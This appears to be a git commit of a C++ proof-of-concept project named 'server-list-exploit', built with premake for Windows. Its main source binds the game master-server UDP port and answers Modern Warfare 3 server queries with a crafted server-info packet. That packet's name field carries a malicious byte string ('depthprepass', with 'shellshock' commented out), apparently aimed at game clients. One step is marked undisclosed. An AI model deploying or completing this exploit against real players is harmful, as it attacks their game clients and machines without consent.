This commit is contained in:
6arelyFuture 2021-05-11 09:33:54 +02:00
commit 532838ca8e
8 changed files with 432 additions and 0 deletions

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.gitignore vendored Normal file
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### Windows
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Windows Installer files
*.cab
*.msi
*.msm
*.msp
# Shortcuts
*.lnk
### OSX
.DS_Store
.AppleDouble
.LSOverride
# Icon must end with two \r
Icon
# Thumbnails
._*
# Files that might appear on external disk
.Spotlight-V100
.Trashes
# Directories potentially created on remote AFP share
.AppleDB
.AppleDesktop
Network Trash Folder
Temporary Items
.apdisk
### Visual Studio
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
build
# Visual Studio 2015 cache/options directory
.vs/
#Visual Studio Code
.vscode/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
### IDA
*.id0
*.id1
*.id2
*.nam
*.til
### Custom user files
# User scripts
user*.bat
# Premake binary
#premake5.exe

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generate.bat Normal file
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@echo off
git submodule update --init --recursive
tools\premake5 %* vs2019

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premake5.lua Normal file
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dependencies = {
basePath = "./deps"
}
function dependencies.load()
dir = path.join(dependencies.basePath, "premake/*.lua")
deps = os.matchfiles(dir)
for i, dep in pairs(deps) do
dep = dep:gsub(".lua", "")
require(dep)
end
end
function dependencies.imports()
for i, proj in pairs(dependencies) do
if type(i) == 'number' then
proj.import()
end
end
end
function dependencies.projects()
for i, proj in pairs(dependencies) do
if type(i) == 'number' then
proj.project()
end
end
end
newoption {
trigger = "copy-to",
description = "Optional, copy the EXE to a custom folder after build, define the path here if wanted.",
value = "PATH"
}
newoption {
trigger = "dev-build",
description = "Enable development builds of the client."
}
dependencies.load()
workspace "server-list-exploit"
location "./build"
objdir "%{wks.location}/obj"
targetdir "%{wks.location}/bin/%{cfg.platform}/%{cfg.buildcfg}"
configurations {"Debug", "Release"}
architecture "x86"
platforms "x86"
systemversion "latest"
symbols "On"
staticruntime "On"
editandcontinue "Off"
warnings "Extra"
characterset "ASCII"
if _OPTIONS["dev-build"] then
defines {"DEV_BUILD"}
end
flags {"NoIncrementalLink", "NoMinimalRebuild", "MultiProcessorCompile", "No64BitChecks" }
filter "action:vs*"
buildoptions "/std:c++17"
defines { "_WINDOWS", "WIN32" }
filter "action:gmake*"
cppdialect "C++17"
buildoptions "-std=c++17"
defines { "_LINUX" }
configuration "Release"
optimize "Size"
-- buildoptions {"/GL"}
-- linkoptions { "/IGNORE:4702", "/LTCG" }
defines {"NDEBUG"}
flags {"FatalCompileWarnings"}
configuration "Debug"
optimize "Debug"
defines {"DEBUG", "_DEBUG"}
configuration {}
project "server-list-exploit"
kind "ConsoleApp"
language "C++"
pchheader "stdinc.hpp"
pchsource "src/stdinc.cpp"
files {"./src/**.hpp", "./src/**.cpp"}
includedirs {"./src", "%{prj.location}/src"}
-- links {"kernel32", "user32", "Ws2_32"}
dependencies.imports()
group "Dependencies"
dependencies.projects()

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#include "stdinc.hpp"
#include "main.hpp"
#define MW3_SERVER_4CC 0x504F4F4C
#define BUF_SIZE 1024
SOCKET sock;
bool startUp()
{
WSADATA wsa_data;
WSAStartup(MAKEWORD(2, 2), &wsa_data);
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (INVALID_SOCKET == sock)
{
printf("Can't initialize socket\n");
return false;
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = htonl(INADDR_ANY);
// net_masterServerPort
service.sin_port = htons(27014);
int result = bind(sock, (SOCKADDR*)&service, sizeof(service));
if (SOCKET_ERROR == result)
{
printf("Can't bind socket\n");
closesocket(sock);
return false;
}
return true;
}
DWORD WINAPI recvTh(LPVOID)
{
auto buf = std::make_unique<char[]>(BUF_SIZE);
u_long iMode = 1;
ioctlsocket(sock, FIONBIO, &iMode);
sockaddr_in sender{};
int senderSize = sizeof(sender);
serverInfo_t info{};
// undisclosed step
info.serverName_ptr = 0;
info.rawDataSize = INFO_MAX_DATA;
SecureZeroMemory(&info.rawData, info.rawDataSize);
while (1)
{
SecureZeroMemory(buf.get(), BUF_SIZE);
auto len = recvfrom(sock, buf.get(), BUF_SIZE, 0, (SOCKADDR*)&sender, &senderSize);
if (len == SOCKET_ERROR)
{
return -1;
}
if (len == sizeof(serverQuery_t))
{
auto* packet = (serverQuery_t*)buf.get();
if (packet->magic4CC == MW3_SERVER_4CC)
{
printf("Server is sending info to a client\n");
auto bad_string = "\x5e\x01\xCC\xCC\x0C" "depthprepass"s;
// auto bad_string = "\x5e\x01\xCC\xCC\x0A" "shellshock"s;
std::memcpy(&info.rawData[info.serverName_ptr], bad_string.data(), bad_string.length() + 1);
sendto(sock, (char*)&info, sizeof(serverInfo_t), 0, (SOCKADDR*)&sender, senderSize);
}
}
#ifdef _LINUX
sleep(1000);
#else
Sleep(1);
#endif
}
}
int main(int, char**)
{
if (!startUp())
{
return 1;
}
WSACleanup();
}

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#pragma once
#define INFO_MAX_DATA 2048
#pragma pack(1)
typedef struct
{
uint32_t magic4CC;
uint32_t timeStamp;
} serverQuery_t;
typedef struct
{
uint32_t magic4CC;
uint32_t timeStamp;
int32_t players;
int32_t maxPlayers;
bool bPasswordProtected;
uint32_t bDedicated;
int32_t serverVersion;
uint64_t SteamId;
uint32_t gameIP_int;
uint32_t gameIP_ext;
uint16_t gamePort;
uint16_t queryPort;
uint16_t netPort;
char secID[8];
char secKey[16];
uint16_t mapName_ptr;
uint16_t serverName_ptr;
uint16_t serverTags_ptr;
uint16_t serverInfos_ptr;
uint16_t rawDataSize;
char rawData[INFO_MAX_DATA];
} serverInfo_t;
#pragma pack()

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#include "stdinc.hpp"

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#ifdef _LINUX
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wpragma-pack"
#endif
// defines
#define WIN32_LEAN_AND_MEAN
// windows headers
#include <WinSock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string>
#include <vector>
#include <iostream>
#include <memory>
#pragma comment (lib, "Ws2_32.lib")
// std includes
#include <string>
#ifdef _LINUX
#include <unistd.h>
#endif
using namespace std::literals;
// c types
#include <cstdint>
#ifdef _LINUX
#pragma clang diagnostic pop
#endif

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